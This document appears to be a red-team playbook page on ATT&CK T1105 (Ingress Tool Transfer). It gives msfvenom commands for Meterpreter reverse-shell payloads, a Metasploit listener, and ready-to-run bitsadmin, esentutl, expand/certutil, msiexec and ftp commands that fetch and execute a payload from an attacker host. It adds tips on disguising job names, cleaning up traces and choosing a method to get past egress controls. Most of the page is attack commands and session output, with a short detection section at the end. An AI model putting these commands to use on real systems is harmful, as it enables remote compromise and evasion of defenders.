Skip to main content

T1105: Ingress Tool Transfer

Covers: T1105 - Ingress Tool Transfer (bitsadmin, esentutl, expand, msiexec, ftp)


Technique Requirements​

Privileges RequiredUser (bitsadmin, ftp, msiexec) / User or Admin (esentutl, expand from UNC)
Effective PermissionsContext of the invoking user
Employment Complexity1/5 - Very Low
Detection Complexity2/5 - Low (each binary is individually signed and legitimate; the destination file and network connection are the indicators)

Background​

Ingress Tool Transfer moves attacker-controlled files onto the victim using built-in Windows binaries as the download mechanism. The goal is to stage a payload when the preferred transfer method (certutil, PowerShell WebClient, or direct copy) is blocked or monitored.

Relationship to T1218 (Signed Binary Proxy Execution): certutil -urlcache is documented in the Defense Evasion / T1218 section because it is most commonly used alongside AppLocker bypass techniques. The methods here are the remaining LOL transfer options - use them when certutil is blocked or you need the specific properties of a given binary (background transfer, SMB-based staging, MSI execution).

When each method is the right choice:

ScenarioBest Method
certutil and PowerShell are blocked or monitoredbitsadmin /transfer
Target has no outbound HTTP but can reach your SMB shareesentutl /y or expand from UNC
You want to download and execute in one step (no separate launcher needed)msiexec /i http://
Egress is restricted to FTP onlyftp.exe script mode
You need asynchronous background download without blocking a shellbitsadmin job with /SetNotifyCmdLine

Setup (on Kali): Payload and Server​

All HTTP-based methods below assume a payload file is hosted on a Python web server. Generate a payload and start the server once; reuse across methods.

# Generate a staged HTTPS reverse Meterpreter EXE
ATTACKER_IP="<ATTACKER_IP>"
msfvenom -p windows/x64/meterpreter/reverse_https LHOST="${ATTACKER_IP}" LPORT=443 -f exe -o payload.exe

# Start web server in the directory containing the payload
python3 -m http.server 8080

Start the listener in a separate terminal:

msfconsole -x "use exploit/multi/handler;
set payload windows/x64/meterpreter/reverse_https;
set LHOST 0.0.0.0;
set LPORT 443;
run -j;"

Method 1: bitsadmin /transfer - Background HTTP Download​

ATT&CK: T1105 (also T1197)
LOL binary: bitsadmin.exe
Privileges required: User
Why it works: bitsadmin manages the Windows Background Intelligent Transfer Service (BITS). BITS was designed to download Windows Update content in the background over HTTP/HTTPS. Because it is a built-in Windows service, its outbound connections are often permitted through corporate proxies and firewalls without inspection. The transfer runs under the svchost.exe BITS service - the command-line tool (bitsadmin.exe) just creates and manages jobs; the actual download is performed by the service.

Download (synchronous - blocks until complete)​

bitsadmin /transfer "WindowsUpdate" /download /priority normal http://<ATTACKER_IP>:8080/payload.exe C:\Windows\Temp\payload.exe
ArgumentMeaning
"WindowsUpdate"Job display name - choose something that looks legitimate
/downloadJob type (download, not upload)
/priority normalTransfer priority (foreground / high / normal / low)
http://...Source URL
C:\Windows\Temp\payload.exeDestination path

The /transfer switch is a one-shot convenience command - it creates the job, adds the file, resumes it, waits for completion, and deletes the job. It is equivalent to the four-step create/addfile/resume/complete sequence.

HTTPS Download​

bitsadmin /transfer "WindowsUpdate" /download /priority normal https://<ATTACKER_IP>/payload.exe C:\Windows\Temp\payload.exe
note

HTTPS works without any certificate configuration on the victim side - BITS does not validate the server certificate by default (the /SetSecurityFlags option can be used to enforce validation, but it is not the default). This means you can use a self-signed cert on your Kali HTTPS server.

Download then Execute​

bitsadmin /transfer "WindowsUpdate" /download /priority normal http://<ATTACKER_IP>:8080/payload.exe C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe

Cleanup​

BITS jobs persist in the queue if not completed or cancelled. List and clean up:

bitsadmin /list /allusers /verbose
bitsadmin /cancel "WindowsUpdate"
del C:\Windows\Temp\payload.exe
note

See T1197 - BITS Jobs (Persistence) for using bitsadmin with /SetNotifyCmdLine to execute a payload when the download completes, and for chaining BITS download with a Run key for persistence.


Method 2: esentutl.exe /y - UNC File Copy​

ATT&CK: T1105
LOL binary: esentutl.exe
Privileges required: User
Why it works: esentutl.exe is the Extensible Storage Engine utility - a database maintenance tool for ESE/JET databases (used by Active Directory, Windows Search, and other components). Its /y flag copies a file. Crucially, it accepts UNC paths (\\server\share\file) as the source, meaning it can pull a file directly from an attacker-controlled SMB share without any HTTP server.

Setup (on Kali): Start an SMB share​

impacket-smbserver share /tmp/payloads -smb2support

Place payload.exe in /tmp/payloads/ on Kali.

Copy from UNC path to local disk​

esentutl.exe /y \\<ATTACKER_IP>\share\payload.exe /d C:\Windows\Temp\payload.exe /o
FlagMeaning
/yCopy source file
/dDestination path
/oOverwrite destination if it exists

Execute after copy​

esentutl.exe /y \\<ATTACKER_IP>\share\payload.exe /d C:\Windows\Temp\payload.exe /o && C:\Windows\Temp\payload.exe

Limitations:

  • Requires SMB reachability from victim to attacker (port 445 outbound)
  • If the victim requires authentication for SMB, establish a session first with net use
  • esentutl.exe may not be present on all Windows editions (it is present on Server; on Workstation it is present but less commonly associated with file copy)

Method 3: expand.exe - Cabinet Extract or UNC Copy​

ATT&CK: T1105
LOL binary: expand.exe
Privileges required: User
Why it works: expand.exe is the Windows cabinet file expander. It accepts source paths including UNC paths and can extract single files from cabinet (.cab) archives. Two usage patterns are available: direct copy from a UNC path, or extracting a payload embedded in a .cab archive served via HTTP.

Option A: Direct UNC Copy (no cabinet required)​

Same SMB share as Method 2:

expand \\<ATTACKER_IP>\share\payload.exe C:\Windows\Temp\payload.exe

This is functionally equivalent to copy but uses a different binary - useful when cmd.exe copy is blocked by AppLocker or script policy.

Option B: Extract from Cabinet Archive (HTTP delivery)​

Package the payload in a cabinet file on Kali:

# Create a cabinet file containing the payload
makecab payload.exe payload.cab
# Serve it
python3 -m http.server 8080

Download and extract the cabinet on the victim - combining certutil download with expand extraction:

certutil -urlcache -split -f http://<ATTACKER_IP>:8080/payload.cab C:\Windows\Temp\payload.cab
expand C:\Windows\Temp\payload.cab C:\Windows\Temp\payload.exe
C:\Windows\Temp\payload.exe
note

The cabinet method splits the transfer into two distinct steps performed by two different LOL binaries. Each step in isolation looks legitimate: certutil fetches what looks like a certificate file (.cab is a common Windows Update file format), and expand decompresses it. The payload binary only materializes at the final step.

Cleanup​

del C:\Windows\Temp\payload.cab
del C:\Windows\Temp\payload.exe

Method 4: msiexec.exe /i - Download and Execute MSI​

ATT&CK: T1105 + T1218.007
LOL binary: msiexec.exe
Privileges required: User (standard user can install per-user MSI) / Administrator (system-wide install)
Why it works: msiexec.exe is the Windows Installer service host. It accepts a URL directly as the package path - it will download the .msi file over HTTP/HTTPS and install it in a single step. A malicious .msi can run arbitrary commands via its CustomAction table during installation, making msiexec both the downloader and the executor with no intermediate file written by the operator.

Generate MSI payload​

ATTACKER_IP="<ATTACKER_IP>"
msfvenom -p windows/x64/meterpreter/reverse_https LHOST="${ATTACKER_IP}" LPORT=443 -f msi -o payload.msi
python3 -m http.server 8080

Execute on victim (download + install silently)​

msiexec /i http://<ATTACKER_IP>:8080/payload.msi /qn
FlagMeaning
/iInstall package
/qnQuiet mode, no UI

HTTPS variant​

msiexec /i https://<ATTACKER_IP>/payload.msi /qn

What happens: msiexec connects to your HTTP server and downloads payload.msi. The installer runs the MSI's custom actions, which fire the Meterpreter stager. The MSI may also leave a partial installation entry in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall - clean this up after the session is established.

Cleanup​

# Remove any install registry artifacts left by msfvenom MSI
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s /f "meterpreter" /k
# Delete by GUID once identified:
# reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{GUID} /f
caution

msiexec /i <URL> is a well-known AppLocker bypass and is blocked in many enterprise environments by Software Restriction Policy or AppLocker MSI rules. Check AppLocker policy (see Discovery - Phase 6) before relying on this method.


Method 5: ftp.exe - Script-Mode FTP Download​

ATT&CK: T1105
LOL binary: ftp.exe
Privileges required: User
Why it works: ftp.exe is the Windows command-line FTP client, present on every Windows installation. It accepts a script file via the -s: flag that contains FTP commands - this allows a fully non-interactive FTP session that downloads a file without any user interaction. Useful when HTTP/HTTPS egress is restricted but FTP (port 21) is open.

Setup (on Kali): Start an FTP server​

# Install and start Python ftplib server (or use vsftpd):
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21 -w --directory /tmp/payloads

Place payload.exe in /tmp/payloads/.

Create FTP script on victim and execute​

echo open <ATTACKER_IP> 21> C:\Windows\Temp\ftp.txt
echo anonymous>> C:\Windows\Temp\ftp.txt
echo anonymous>> C:\Windows\Temp\ftp.txt
echo binary>> C:\Windows\Temp\ftp.txt
echo get payload.exe C:\Windows\Temp\payload.exe>> C:\Windows\Temp\ftp.txt
echo quit>> C:\Windows\Temp\ftp.txt
ftp -s:C:\Windows\Temp\ftp.txt

Or as a one-liner using cmd /c echo chaining:

cmd /c "(echo open <ATTACKER_IP> 21 & echo anonymous & echo anonymous & echo binary & echo get payload.exe C:\Windows\Temp\payload.exe & echo quit) > C:\Windows\Temp\ftp.txt" && ftp -s:C:\Windows\Temp\ftp.txt

Execute after download​

C:\Windows\Temp\payload.exe

Cleanup​

del C:\Windows\Temp\ftp.txt
del C:\Windows\Temp\payload.exe

Comparison and Selection Guide​

MethodProtocolFile on Disk After TransferExecutes Payload?Requires Admin?Key Limitation
certutil -urlcacheHTTP/HTTPSYesNoNoLeaves URL cache; well-monitored
bitsadmin /transferHTTP/HTTPSYesNoNoBITS service must be running
esentutl /ySMB (UNC)YesNoNoPort 445 outbound required
expand UNCSMB (UNC)YesNoNoPort 445 outbound required
expand + certutilHTTP + localYes (cab + exe)NoNoTwo-step process
msiexec /iHTTP/HTTPSPartial (registry)YesNo (per-user)AppLocker MSI rules common
ftp.exeFTPYes (script + exe)NoNoFTP rarely permitted outbound

General guidance:

  • Default to certutil (documented in T1218) unless it is blocked
  • Use bitsadmin when certutil is blocked and HTTP/HTTPS egress is available
  • Use esentutl or expand UNC when HTTP is blocked but SMB to the attacker is reachable
  • Use msiexec when you want download-and-execute in a single command with no separate launcher
  • Use ftp as a last resort when only FTP egress is available

What to Expect​

Each method places payload.exe at the destination path. Execute it to get a callback:

msf6 exploit(multi/handler) > [*] Sending stage (201798 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (0.0.0.0:443 -> 192.168.1.100:49701) at 2026-03-21 11:22:04

meterpreter > getuid
Server username: CORP\jsmith

meterpreter > sysinfo
Computer : WORKSTATION01
OS : Windows 10 (10.0 Build 19044)
Architecture : x64

For msiexec, the session arrives during the MSI install - no separate execution step needed.


Log Detection​

  • Source: Microsoft-Windows-Sysmon/Operational
    • EventID:1 (ProcessCreate)
      • bitsadmin.exe with /transfer and an HTTP URL in command line
      • esentutl.exe with /y and a UNC source path
      • expand.exe with a UNC source path or a .cab destination
      • msiexec.exe with /i and an HTTP/HTTPS URL
      • ftp.exe with -s: pointing to a script file
    • EventID:3 (NetworkConnect)
      • Outbound HTTP/HTTPS connections from svchost.exe (BITS) - associated with bitsadmin job
      • Outbound connections from msiexec.exe to non-Microsoft IP
      • Outbound port 21 from ftp.exe
    • EventID:11 (FileCreate)
      • New executable written to C:\Windows\Temp\ or other staging path
  • Source: Microsoft-Windows-Bits-Client/Operational
    • EventID:3 (BITS job created)
    • EventID:4 (BITS job completed)
      • Contains job name, source URL, and destination path - high-fidelity for bitsadmin detection
  • Source: Security
    • EventID:4688 (Process creation with command line auditing)
      • Same patterns as Sysmon EventID 1 above